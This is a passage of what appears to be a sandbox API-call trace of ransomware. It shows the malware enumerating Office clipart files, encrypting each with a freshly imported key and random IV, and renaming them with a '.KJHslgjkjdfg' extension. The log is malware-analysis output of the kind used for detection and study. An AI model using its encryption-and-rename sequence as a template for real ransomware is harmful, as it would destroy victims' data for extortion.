(hFile=0x130) returned 1 [0206.452] GetProcessHeap () returned 0x990000 [0206.452] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.452] GetProcessHeap () returned 0x990000 [0206.452] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.452] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid.kjhslgjkjdfg")) returned 1 [0206.454] CloseHandle (hObject=0x130) returned 1 [0206.454] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1a6c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PARNT_09.MID", cAlternateFileName="")) returned 1 [0206.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.455] GetProcessHeap () returned 0x990000 [0206.455] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.455] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.455] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.455] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.458] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.458] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.458] GetProcessHeap () returned 0x990000 [0206.458] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.458] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.458] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.458] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.458] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.458] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.458] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.459] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.459] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.459] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.459] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.459] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.459] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1a6c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1a6c, lpOverlapped=0x0) returned 1 [0206.460] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1a70, dwBufLen=0x1a70 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1a70) returned 1 [0206.460] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.460] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1a70, lpOverlapped=0x0) returned 1 [0206.460] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.460] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1b44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.460] SetEndOfFile (hFile=0x130) returned 1 [0206.463] GetProcessHeap () returned 0x990000 [0206.463] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.463] GetProcessHeap () returned 0x990000 [0206.463] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.463] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid.kjhslgjkjdfg")) returned 1 [0206.472] CloseHandle (hObject=0x130) returned 1 [0206.472] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1511, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PARNT_10.MID", cAlternateFileName="")) returned 1 [0206.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.473] GetProcessHeap () returned 0x990000 [0206.473] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.473] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.473] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.473] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xf, lpOverlapped=0x0) returned 1 [0206.476] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.476] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.476] GetProcessHeap () returned 0x990000 [0206.476] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.476] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.476] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.476] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.476] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.476] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.476] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.476] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.476] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.477] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.477] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.477] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.477] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1511, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1511, lpOverlapped=0x0) returned 1 [0206.478] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1520, dwBufLen=0x1520 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1520) returned 1 [0206.478] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.478] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1520, lpOverlapped=0x0) returned 1 [0206.478] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.478] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x15f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.478] SetEndOfFile (hFile=0x130) returned 1 [0206.481] GetProcessHeap () returned 0x990000 [0206.481] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.481] GetProcessHeap () returned 0x990000 [0206.481] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.481] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid.kjhslgjkjdfg")) returned 1 [0206.483] CloseHandle (hObject=0x130) returned 1 [0206.483] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb480d800, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb480d800, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x6140, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00013_.WMF", cAlternateFileName="")) returned 1 [0206.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.484] GetProcessHeap () returned 0x990000 [0206.484] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.485] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.485] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.485] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.485] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.485] GetProcessHeap () returned 0x990000 [0206.485] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.485] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.485] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.485] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.487] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.487] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.487] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.488] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.488] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.488] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.488] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.488] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.488] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6140, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x6140, lpOverlapped=0x0) returned 1 [0206.490] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6140, dwBufLen=0x6140 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6140) returned 1 [0206.490] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.490] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6140, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6140, lpOverlapped=0x0) returned 1 [0206.490] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.490] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.490] SetEndOfFile (hFile=0x130) returned 1 [0206.493] GetProcessHeap () returned 0x990000 [0206.493] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.493] GetProcessHeap () returned 0x990000 [0206.493] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.493] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00013_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00013_.wmf.kjhslgjkjdfg")) returned 1 [0206.495] CloseHandle (hObject=0x130) returned 1 [0206.495] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ed5100, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0ed5100, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x411a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00014_.WMF", cAlternateFileName="")) returned 1 [0206.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00014_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.496] GetProcessHeap () returned 0x990000 [0206.496] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.496] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.496] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.496] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0206.498] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.498] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.498] GetProcessHeap () returned 0x990000 [0206.498] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.498] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.498] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.498] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.498] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.498] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.499] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.499] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.499] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.499] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.499] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.499] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.499] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x411a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x411a, lpOverlapped=0x0) returned 1 [0206.500] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4120, dwBufLen=0x4120 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4120) returned 1 [0206.501] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.501] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4120, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4120, lpOverlapped=0x0) returned 1 [0206.501] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.501] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x41f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.501] SetEndOfFile (hFile=0x130) returned 1 [0206.503] GetProcessHeap () returned 0x990000 [0206.503] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.503] GetProcessHeap () returned 0x990000 [0206.503] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.503] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00014_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00014_.wmf.kjhslgjkjdfg")) returned 1 [0206.505] CloseHandle (hObject=0x130) returned 1 [0206.505] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d5c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00034_.WMF", cAlternateFileName="")) returned 1 [0206.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00034_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.507] GetProcessHeap () returned 0x990000 [0206.507] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.507] CryptGenRandom (in: 